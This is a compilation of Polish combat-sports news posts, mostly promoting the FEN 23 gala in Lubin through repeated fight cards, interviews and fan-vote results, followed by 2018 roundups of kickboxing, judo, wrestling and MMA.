Amerykanin to jedna z najbardziej rozpoznawalnych twarzy UFC. Z jednej strony wielki mistrz, który dzierżył pas wagi półciężkiej w latach 2011-2015. Z drugiej postać kontrowersyjna. Jones ma na sumieniu problemy z dopingiem, wypadek i ucieczkę z miejsca zdarzenia, jazdę bez prawa jazdy, udział w nielegalnych wyścigach ulicznych. Jon Jones podkreśla, że w jego myśleniu zaszła zmiana. Czas pokaże.

KM

Zmiany w karcie walk gali FEN 23

Hubert Dylewski (2-3-1) zastąpi Rafała Niestrzębę, a Robert Rajewski Jr (5-5) Kacpra Muszyńskiego 12 stycznia w Lubinie podczas gali FEN 23. Obaj zawodnicy wystąpią na Dolnym Śląsku w formule K-1.

Hubert Dylewski, w przeciwieństwie do ojca, który również może pochwalić się wieloma sukcesami na koncie, skupia się w swojej karierze na walkach w kickboxingu. Trenując w warszawskim klubie Garuda Muay Thai Gym wypracował sobie zawodowy rekord dwóch zwycięstw, trzech porażek i jednego remisu. Zawodnik oba zwycięstwa doniósł na galach organizacji King of Kings, w tym bardzo efektowne w pojedynku z Ricardasem Zeimanisem, którego posłał na deski już w pierwszej rundzie.

Dylewski w Lubinie skrzyżuje rękawice z Eliaszem Jankowskim w limicie 67 kilogramów.

Robert Rajewski w poprzednich pojedynkach w federacji FEN walczył nie tylko w formule K-1, ale również w MMA, ulegając wymagającym przeciwnikom – Michałowi Wrzoskowi i Aleksandrowi Georgasowi. 12 stycznia w Lubinie Rajewski Jr powróci do dyscypliny, w której odnosił największe swoje sportowe sukcesy, m.in. wielokrotnie zdobywał tytuł kickbokserskiego mistrza Polski i uczestniczył w prestiżowym turnieju King of Kings World GP. Trenowany przez swego ojca Roberta zawodnik ma na swym koncie także tytuł międzynarodowego mistrza Polski w wushu sanda, z którego się wywodzi.

Robert Rajewski Jr zmierzy się w Lubinie z Łukaszem Kaczmarczykiem w limicie 70 kilogramów.

Karta walk FEN 23: 

70 kg: Mateusz Rębecki VS Daguir Imavov*

-120 kg: Marcin Zontek VS Marcin Sianos
-77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
-77 kg: Tymoteusz Łopaczyk VS Szymon Dusza
-77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
-67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
-70 kg: Łukasz Charzewski VS Adam Brzezowski
-70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski
-61 kg, K-1: Bartosz Hassa VS Mariusz Lach
-77 kg: Kamil Kraska VS Mateusz Janur

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Sprzedaż biletów na galę FEN 23 i FEN 24 jest możliwa na
Eventim.pl oraz na stronie organizacji: http://fen-mma.com/bilet/ – do końca 2018 roku na galę FEN 24 – 10% rabatu na wszystkie wejściówi.

[kod]

Arab kolejnym bohaterem gali FEN 24

Gabriel "Arab" Al-Sulwi (1-0, 1 KO) 16 marca w Warszawie stoczy swój drugi pojedynek. Zawodnik wraca do klatki federacji Fight Exclusive Night niespełna półtorej roku od swojego debiutu w mieszanych sztukach walki.

Arab przebojem wdarł się w świat zawodowego MMA wygrywając w swoim debiucie podczas gali FEN 19 z Bartłomiejem "Rubym" Brzezińskim. Al-Sulwi kontrolował przebieg tego pojedynku w pierwszej rundzie, w drugiej skończył starcie przed czasem. Arab od wielu lat związany jest ze sportami walki, gdyż trenuje brazylijskie jiu-jitsu.

"Pewnego dnia Gabriel zadzwonił do mnie i powiedział, że jest gotowy stoczyć swój kolejny pojedynek. Sporo czasu od momentu debiutu spędził na sali treningowej i ocenił, że dziś jest znacznie lepszym zawodnikiem, więc jest gotowy po raz kolejny wyjść do klatki. Mam już dogranego rywala dla Araba, będzie to medialne starcie. Raz na jakiś czas będziemy naszym fanom serwować takie zestawienia – powiedział Paweł Jóźwiak, prezes FEN.

Sprzedaż biletów na galę FEN 23 i FEN 24 jest możliwa na
Eventim.pl oraz na stronie organizacji: http://fen-mma.com/bilet/ – do końca 2018 roku na galę FEN 24 – 10% rabatu na wszystkie wejściówi.

[kod]

Kaleta z Zamysłowskim zamykają kartę walk gali FEN 23

Łukasza Kaletę (0-0) 12 stycznia czeka trudne zadanie, bowiem naprzeciwko niego w klatce stanie Tomasz Zmysłowski (5-3-2). Do starcia dojdzie podczas gali Fight Exclusive Night 23, która odbędzie się w Lubinie. Pojedynek na zasadach K-1 odbędzie się w limicie do 77 kilogramów.

Tomasz Zamysłowski to zaledwie 20-letni zawodnik z Warszawy, który już zdążył zaznaczyć swoją pozycję na europejskim rynku sportów walki. Trenujący w warszawskim klubie Garuda zawodnik ma na swoim koncie występy na galach organizacji King of Kings, która promuje K-1 na Starym Kontynencie. Zamysłowski jak dotąd na KOK zanotował jeden remis z Dariusem Mincheivichusem i jedną porażkę w walce z o wiele bardziej doświadczonym Kristapsem Bulmaistrasem. Aktualny zawodowy rekord podopiecznego Dmitrija Kartela to 5-3-2.

Kaleta 12 stycznia w Lubinie dopiero zadebiutuje w zawodowym K-1. Młody fighter trenuje na co dzień w Bolesławcu pod okiem ojca Dominika Zadory, który podczas dolnośląskiej edycji walczył będzie z Łukaszem Pławeckim o pas mistrzowski w kategorii do 77 kilogramów. Kaleta reprezentuje klub Street Fighter.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Sprzedaż biletów na galę FEN 23 i FEN 24 jest możliwa na
Eventim.pl oraz na stronie organizacji: http://fen-mma.com/bilet/ – do końca 2018 roku na galę FEN 24 – 10% rabatu na wszystkie wejściówki.

[kod]

Jóźwiak przed FEN 23: Lubin czeka na FEN, kibice są spragnieni grzmotów

12 stycznia w Lubinie odbędzie się gala Fight Exclusive Night 23. Paweł Jóźwiak, prezes federacji, już dziś nie może doczekać się tego wydarzenia, które od dawna jest wyczekiwane na Dolnym Śląsku. – Lubin czeka na nas, jestem przekonany, że damy kibicom to, czego oczekują – zapewnia sternik FEN.

FEN po raz czwarty zawita do Lubina. Co prezes myśli słysząc nazwę tego miasta?

Paweł Jóźwiak: Cieszę się, że znowu zawitamy do Lubina. Przed rokiem nie było nas w tym mieście, a gala sprzed dwóch lat była naprawdę świetnym widowiskiem, do którego z chęcią wracam podczas różnych rozmów o naszej federacji. Dziś mamy mistrza Mateusza Rębeckiego, który jest jednym z najlepszych zawodników w Polsce w kategorii lekkiej, a między innymi w Lubinie podczas gali FEN 15 "Chińczyk" zrobił duży krok w kierunku pasa, który dzisiaj dzierży. Kamil Gniadek zaraz może być mistrzem w dywizji półśredniej, a również bił się w Lubinie. Nie można powiedzieć, że 15. edycja po prostu była i pozostała bez echa. Marcin Zontek, Wojciech Wierzbicki czy Oskar Somerfeld to zawodnicy, którzy wtedy byli się u nas, dziś są, pewnie jeszcze długo będą w naszej federacji i wierzę w to, że 23. gala również spowoduje, iż będziemy często do niej wracać.

Karta walk gali FEN 23 wygląda inaczej niż zwykle. Propocje K-1 względem MMA po raz pierwszy są na korzyść formuły uderzanej.

PJ: Dolny Śląsk to zagłębie polskiego kickboksingu, stąd karta walk ułożona jest w taki, a nie inny sposób. Mam zwiedzonych wiele klubów w okolicach Wrocławia czy Lubina i wiem, że tam na K-1 jest naprawdę spory nacisk. Chcemy spróbować czegoś innego i dawać kibicom walki w formule, która jest najbliższa ich upodobaniom. To przekłada się na zainteresowanie galą i sprzedaż biletów.

Na trzy tygodnie przed galą zostało niewiele biletów.

PJ: Biletów jest z każdym dniem coraz mniej, bo zainteresowanie lokalnych kibiców jest naprawdę spore. Cieszę się, że przed świętami mogliśmy ogłosić galę FEN 24 będąc spokojnym o to, co będzie miało miejsce w Lubinie. Ze sportowego punktu widzenia 12 stycznia czeka nas naprawdę bardzo dużo dobrego. Dwie walki mistrzowskie, pojedynek w kategorii ciężkiej, marzący o powrocie na tron Wierzbicki czy młody Łopaczyk to gwarancja tego, że Lubin znowu będzie o nas długo pamiętał.

Czy czegoś w Lubinie zabraknie?

PJ: Wydaje mi się, że niczego, bo w Lubinie każdy znajdzie coś dla siebie. Bałem się na początku, że Daguir Imavov zostanie odebrany przez fanów jako łatwy rywal dla Rębeckiego przez to, że nie ma głośnego nazwiska. Trafiliśmy jednak w gusta wszystkich, a to świadczy o tym, że kibice w Polsce naprawdę rozumieją MMA i doceniają poziom prawdziwych zawodników. Daguir to kozak, pokonał dwóch naszych zawodników, teraz idzie kategorię wyżej i na pewno będzie mocnym rywalem dla Rębeckiego, dla którego w Polsce obecnie nie widzę przeciwników.

Pławecki będzie bronił pasa…

PJ: Każda walka Łukasza to pewne emocje i najwyższy światowy poziom. Pławecki się nie zatrzymuje, zawsze pokazuje ogień w klatce od pierwszego do ostatniego gongu. Ja myślę, że to może być K-1, jakiego jeszcze u nas nie widzieliśmy. Gdy rozmawiałem kilkukrotnie z Łukaszem to odnosiłem wrażenie, że rozmawiam z modelowym typem sportowca. Profesjonalistą od A do Z. Wierzę w to, że wraz z Dominikiem Zadorą dadzą walkę, z której będę dumny.

Zadora na pewno mu jednak nie odpuści.

PJ: No i o to w tym wszystkim chodzi. Dominik jest dojrzałym i ułożonym zawodnikiem, który wie, po co trenuje i co może dać mu zwycięstwo z Łukaszem Pławeckim. Wierzę w obu tych chłopaków, bo obaj są potrzebni do tego, żeby to była znakomita walka. Zawsze to powtarzam – niech wygra sport, bo tylko prawdziwy sport na najwyższym poziomie zawsze się obroni.

Sporo emocji może dostarczyć konfrontacja Tymoteusza Łopaczyka z Szymonem Duszą.

PJ: Osobiście uważam, że to może być najlepsza walka tego wieczoru. Przed oczami mam ich walki podczas gali FEN 21 we Wrocławiu, gdy głowiliśmy się z wraz z moim zespołem, komu przyznać bonus za najlepszą walkę wieczoru. Przyznaliśmy dwie nagrody, bo i Tymek i Szymon pokazali się z bardzo dobrej strony. Dusza minimalnie przegrał, ale każdy pamięta, że na kartach punktowych było ciasno i niewiele brakowało, żeby przechylił wynik potyczki na swoją korzyść. Łopaczyk to natomiast nasza perełka i nadzieja polskiego MMA. Nie żartuję – jestem w stałym kontakcie z jego trenerami – z tego chłopaka będziemy mieli wiele pożytku. Nie my, jako FEN, Polacy będą kiedyś z niego dumni.

Walka Zontka z Sianosem…

PJ: Odpowiem krótko. Będzie Zontkowo albo Sianosowi. Radzę nie mrugać.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

Łopaczyk przed FEN 23: Szymon walczy widowiskowo, ja też – kibicom to się podoba

Tymoteusz Łopaczyk (4-0, 3 SUB)  podejmie w Lubinie nieobliczalnego Szymona Duszę (6-4, 4 KO, 1 SUB podczas gali FEN 23. Zawodnik pochodzący z Bielawy jest przekonany, że ten pojedynek będzie ozdobą całej dolnośląskiej edycji.

Zapraszamy do obejrzenia wywiadu z Tymoteuszem Łopaczykiem przed galą FEN 23.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Sprzedaż biletów na galę FEN 23 i FEN 24 jest możliwa na
Eventim.pl oraz na stronie organizacji: http://fen-mma.com/bilet/ – do końca 2018 roku na galę FEN 24 – 10% rabatu na wszystkie wejściówki.

Dołącz do wydarzenia na portalu Facebook: https://www.facebook.com/events/311910869605165/

FEN Social Media:
Facebook: facebook.com/fightexclusivenight/
Twitter: twitter.com/fenmma
Instagram: instagram.com/fightexclusivenight/

Dusza przed FEN 23: Dam z siebie wszystko, w tej walce będzie dużo emocji

Szymon Dusza (6-4, 4 KO, 1 SUB) podczas gali FEN 23 w Lubinie zmierzy się z Tymoteuszem Łopaczykiem (4-0, 3 SUB). Zawodnik zapowiada, że w tej walce będzie działo się naprawdę dużo, tym bardziej, że chce pokazać, iż ostatnia porażka z Oskarem Somerfeldem była tylko wypadkiem przy pracy.

Zapraszamy do obejrzenia wywiadu z Szymonem Duszą przed galą FEN 23.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

FEN 23 Trailer: Łopaczyk VS Dusza

Szymon Dusza (6-4, 4 KO, 1 SUB) spróbuje zatrzymać niepokonanego na zawodowstwie Tymoteusza Łopaczyka (4-0, 3 SUB) podczas gali Fight Exclusive Night 23, która 12 stycznia odbędzie się w Lubinie.

Zapraszamy do obejrzenia traileru wideo zapowiadającego pojedynek Tymoteusza Łopaczyka z Szymonem Duszą.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

Wywiad z Marcinem Zontkiem i trailer walki Zontek vs Sianos

Podczas Fight Exclusive Night 23 kibice zobaczą pojedynek w kategorii ciężkiej Marcina Zontka (17-11, 9 KO, 5 SUB) z Marcinem Sianosem (3-3, 3 KO). Będzie to debiut „Zontiego” w królewskiej dywizji.

Zapraszamy do obejrzenia traileru wideo zapowiadającego pojedynek Marcina Zontka z Marcinem Sianosem.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

FEN: Najlepsi w 2018 roku (wyniki głosowania)

Kibice federacji Fight Exclusive Night wzięli udział w głosowaniu na oficjalnym profilu na Facebooku federacji. Fani wybierali tych, którzy w ciągu ostatnich 12 miesięcy pokazali się z najlepszej strony.

Głosowanie odbyło się w czterech kategoriach. Wybrano najlepszy nokaut, poddanie, najlepszą walkę 2018 roku oraz bohatera, który zrobił największe wrażenie na głosujących. Wyniki rywalizacji przedstawiają się następująco:

Nokaut:

  1. Kamil Gniadek – 57 pkt.
  2. Mateusz Rębecki – 53 pkt.
  3. Andrzej Grzebyk – 9 pkt.

Poddanie:

  1. Bartosz Leśko – 170 pkt.
  2. Tymoteusz Łopaczyk – 84 pkt.
  3. Krzysztof Kułak – 11 pkt.

Walka:

  1. Tymoteusz Łopaczyk vs Jacek Jędraszczyk – 66 pkt.
  2. Arkadiusz Wrzosek vs Artur Bizewski – 21 pkt.
  3. Szymon Dusza vs Oskar Somerfeld – 1 pkt.

Bohater:

  1. Łukasz Pławecki – 80 pkt.
  2. Mateusz Rębecki – 15 pkt.
  3. Andrzej Grzebyk – 10 pkt.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

WALKA

PODDANIE

NOKAUT

BOHATER

FEN 23: Trening medialny przed galą

W poniedziałek, 7 stycznia, o godzinie 12:00 w klubie „Hulakula – Rozrywkowe Centrum Miasta” odbędzie się trening medialny przed galą Fight Exclusive Night 23. W wydarzeniu udział wezmą czołowi zawodnicy, którzy wystąpią w dolnośląskiej edycji.

Podczas treningu medialnego kibicom zademonstrują się:

  • Mateusz Rębecki
  • Łukasz Pławecki
  • Dominik Zadora
  • Tymoteusz Łopaczyk
  • Robert Rajewski
  • Szymon Dusza

Dodatkowo do dyspozycji dziennikarzy oraz kibiców podczas treningu medialnego będą bohaterowie gali FEN 24, która 16 marca odbędzie się w Warszawie – Arkadiusz Wrzosek, Kamil Gniadek i Kamil Łebkowski.

Informacje o treningu medialnym przed galą FEN 23:

Kiedy: 7 stycznia, godzina 12:00.

Gdzie: „Hulakula – Rozrywkowe Centrum Miasta” – ul. Jagiellońska 82B, 03-301 Warszawa

Kto wystąpi: 9 zawodników, którzy wystąpią podczas gali FEN 23 w Lubinie i FEN 24 w Warszawie.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

Pławecki przed FEN 23: Po prostu staniemy na środku klatki i pójdziemy na wymianę

Obecny mistrz K-1 w kategorii do 77 kg Łukasz Pławecki (22-14-1) opowiada o swojej poprzedniej walce, przygotowaniach do pierwszej obrony pasa FEN i o możliwym przebiegu walki z Dominikiem Zadorą (21-7).

Zapraszamy do obejrzenia wywiadu z Łukaszem Pławeckim przed galą FEN 23.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

Zadora przed FEN 23: Moje starcie z Pławeckim będzie walką roku 2019

Dominik Zadora (21-7) w krótkim wywiadzie przed FEN 23 opowiada o swojej szansie, przygotowaniach przed galą i zapowiada, że jego walka z Łukaszem Pławeckim (22-14-1) będzie świetnym starciem.

Zapraszamy do obejrzenia wywiadu z Dominikiem Zadorą przed galą FEN 23.

Karta walk FEN 23: 

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna:

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
70 kg, MMA: Łukasz Charzewski VS Adam Brzezowski
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

Karta wstępna:

77 kg, MMA: Kamil Kraska VS Mateusz Janur
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

[kod]

Kolejny rok z medalami

Stało się niemalże tradycją, że polski kickboxing święci triumfy praktycznie na każdym froncie. Jaki były 2018 rok w wykonaniu naszych reprezentantów?

Nie da się ukryć, że w kończącym się roku najważniejszym, a wypada powiedzieć – kluczowym wydarzeniem w rozwoju dyscypliny było przyjęcie organizacji WAKO Kickboxing w poczet członków Międzynarodowego Komitetu Olimpijskiego, co miało miejsce 30 listopada. Teraz całe środowisko czeka na kolejny krok. Ma nim być włączeniem do programu Igrzysk Olimpijskich. W tym przypadku konieczna jest cierpliwość, ale wydaje się, że jest "bliżej niż dalej".

Kickboxing będzie również obecny w programie The World Games 2021, które odbędą się w Birmingham. Warto wspomnieć, że w 2017 roku impreza odbyła się we Wrocławiu. Wtedy reprezentacja Polski w kickboxingu wygrała w klasyfikacji medalowej.

16 medali przywieźli Polacy z mistrzostw Europy w Mariborze. Rywalizacja odbywała się w formułach full contact, light contact i pointfighting. Ze złotych medali cieszyli się: Robert Krasoń (81kg, fc) oraz Rafał Gąszczak (+94kg, lc). Z kolei w Bratysławie zawodnicy rywalizowali o prymat na Starym Kontynencie w formułach K-1, kick light oraz low kick. Licznik biało-czerwonych zatrzymał się na… 16 medalach. Z tą różnicą, że w Bratysławie na najwyższym stopniu podium stanęło pięcioro Polaków. Złote medale wywalczyli: Karolina Kubiak (48kg, lk), Kamila Bałanda (70kg, K-1), Łukasz Puczyński (79kg, kl), Piotr Wypchał (89kg, kl) oraz Michał Grzesiak (94kg, kl).

Również w Lido de Jesolo biało-czerwoni potwierdzili przynależność do światowej czołówki. W mistrzostwach świata kadetów i juniorów nasi zawodnicy zdobyli 51 medali, w tym 3 złote.

Swoją pozycję na rynku umocniła organizacja DSF Kickboxing Challenge. W 2018 roku na pokładzie zameldowali się m.in. Iwona Nieroda, Tomasz Sarara, Maciej Jewtuszko, Michał Kita. W sierpniu federacja DSF wykonała kolejny ważny krok i wykupiła kobiecą organizację Ladies Fight Night. Grudniowa gala w Ząbkach wyłoniła nowego mistrza wagi ciężkiej. Podczas DSF 18 Tomasz Sarara w trzeciej rundzie znokautował Piotra Romankiewicza. Od 2019 roku prezesem organizacji będzie Marek Tkaczyński, zaraz dotychczasowy sternik Sławomir Duba będzie pełnił rolę promotora. 

KM

Rok w judo i zapasach

Podsumowanie osiągnięć reprezentantów Polski w judo i zapasach w 2018 roku.

Judo

Biało-czerwonym nie udało się sięgnąć po medale mistrzostw świata i Europy. W Baku o krok od podium był Damian Szwarnowiecki (81kg), który uplasował się na piątej lokacie. Z kolei w mistrzostwach Europy w Tel Awiwie siódmy był Maciej Sarnacki (+100kg). Polacy sukcesy odnosili w młodszych kategoriach wiekowych. Młodzieżową mistrzynią Europy została Julia Kowalczyk (57kg), a brąz zdobył Oleksiy Lysenko (100kg). Z Nassau, gdzie odbyły się mistrzostwa świata juniorów brązowe krążki przywieźli Aleksandra Kaleta (52kg) i Iwo Baraniewski (100kg). W rywalizacji juniorów w Sofii (mistrzostwa Europy) srebro zdobyła Angelika Szymańska (63kg), a brąz Cezary Tchórzewski (73kg). Mistrzostwa Europy kadetów w Sarajewie na najniższym stopniu podium zakończył Wojciech Kordyalik (+90kg).

Trzykrotnie Polacy sięgali po srebro w zawodach rangi Pucharu Świata. Julia Kowalczyk triumfowała w Mińsku, Karolina Tałach w Odivelas, a Piotr Kuczera w Sofii. Ten ostatni zapisał na swoim koncie również brąz w Grand Prix w Tbilisi. W Grand Slam najlepiej wypadły Karolina Pieńkowska (52kg) oraz Beata Pacut (78kg), które zdobyły odpowiednio srebro w Dusseldorfie oraz brąz w Abu Dhabi. 

Warto dodać, że 3 marca w Warszawie odbyły się zawody Pucharu Świata. Polki wywalczyły siedem medali, w tym dwa złote autorstwa Karoliny Pieńkowskiej (52kg) oraz Arlety Podolak (57kg).

Zapasy

Mistrzostwa świata w Budapeszcie przyniosły nam brązowy medal, który zawisł na szyi Gevorga Sahakyana (67kg). W decydującym pojedynku reprezentant Polski wypunktował Danijela Janecica 7:0. Blisko podium była Katarzyna Krawczyk (53kg), która uplasowała się na piątym miejscu.

Cztery medale wywalczyli nasi zapaśnicy w mistrzostwach Europy w Kaspijsku. Wśród kobiet srebro zdobyła Roksana Zasina (55kg), a brąz Katarzyna Krawczyk (53kg). Wicemistrzem Europy w stylu wolnym został Magomedmurad Gadżijew (70kg), brąz wywalczył Robert Baran (125kg).

Po tytuł mistrza Europy młodzików sięgnął Oliver Skrzypczak (48kg). W Gyor wicemistrzynią młodziczek Starego Kontynentu została Nicole Wasilewska (58kg). Młodzieżowe mistrzostwo Europy wywalczył w Stambule Kamil Kościółek (125kg) w stylu wolnym. Brąz ME do lat 23 zdobył Roman Pacurkowski (67kg). Na najniższym stopniu podium w mistrzostwach świata kadetów uplasował się Tomasz Wawrzyńczyk (110kg, styl klasyczny).

Warto również wspomnieć, że w czerwcu 2019 roku w Krakowie odbędą się mistrzostwa Europy do lat 15. Impreza będzie rozgrywana po raz trzeci. Wcześniej rywalizacja odbywała się w Nowym Sadzie i Gyor.

Fot. Polski Związek Zapaśniczy Facebook

KM

Król Khabib, podwójni mistrzowie

W kończącym się 2018 roku w mieszanych sztukach walki nie brakowało wydarzeń, które przykuwały uwagę kibiców i odbijały się szerokim echem. Do miana jednego z największych wydarzeń urasta walka Khabiba Nurmagomedova z Conorem McGregorem. W Polsce zaskoczeniem było zakończenie kariery przez Mameda Khalidova.

6 października. W Las Vegas miało dojść do największego starcia w historii MMA. Posiadacz pasa wagi lekkiej Khabib Nurmagomedov odniósł 27 zwycięstwo w karierze i nadal pozostaje niepokonany. W czwartej rundzie 30-latek udusił Conora McGregora. Wokół starcia było wiele emocji, a w oktagonie miało miejsce ekscytujące wydarzenie. Khabib królem.

